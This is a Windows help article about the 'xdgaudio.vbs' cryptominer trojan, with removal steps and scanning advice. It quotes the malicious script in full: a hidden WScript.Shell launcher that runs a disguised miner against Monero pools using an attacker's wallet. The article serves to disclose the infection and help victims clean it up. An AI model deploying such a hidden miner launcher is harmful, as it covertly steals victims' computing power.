If you’re receiving the following error message related to “xdgaudio.vbs” in your system, then your computer is most likely infected.
Error: The system cannot find the file specified.
When edited with Notepad, the script may contain lines such as below:
Dim WShell Set WShell = CreateObject("WScript.Shell") WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -p x -k -o stratum+tcp://mine.moneropool.com:3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x", 0 Set WShell = Nothing
This certainly looks like a CPU / cryptocurrency Miner trojan which not only slows down your computer, but also can pose a security threat. The script files c:\windows\xdgaudio.vbs and c:\windows\servicecrsssr.vbs should be deleted. That’s not enough. Run a thorough scan using Malwarebytes antimalware and Adwcleaner programs, and also scan with the antivirus software you’re using.
For a detailed instructions on removing such Miner Trojan, check out malwaretips.com guide How to remove CPU Miner Trojan from Windows (Virus Help Guide).
Important: After completing the scans, visit a security forum and have your system thoroughly checked by a Malware removal expert.
About the author
Ramesh Srinivasan founded Winhelponline.com back in 2005. He is passionate about Microsoft technologies and has a vast experience in the ITeS industry — delivering support for Microsoft's consumer products. He has been a Microsoft MVP [2003 to 2012] who contributes to various Windows support forums.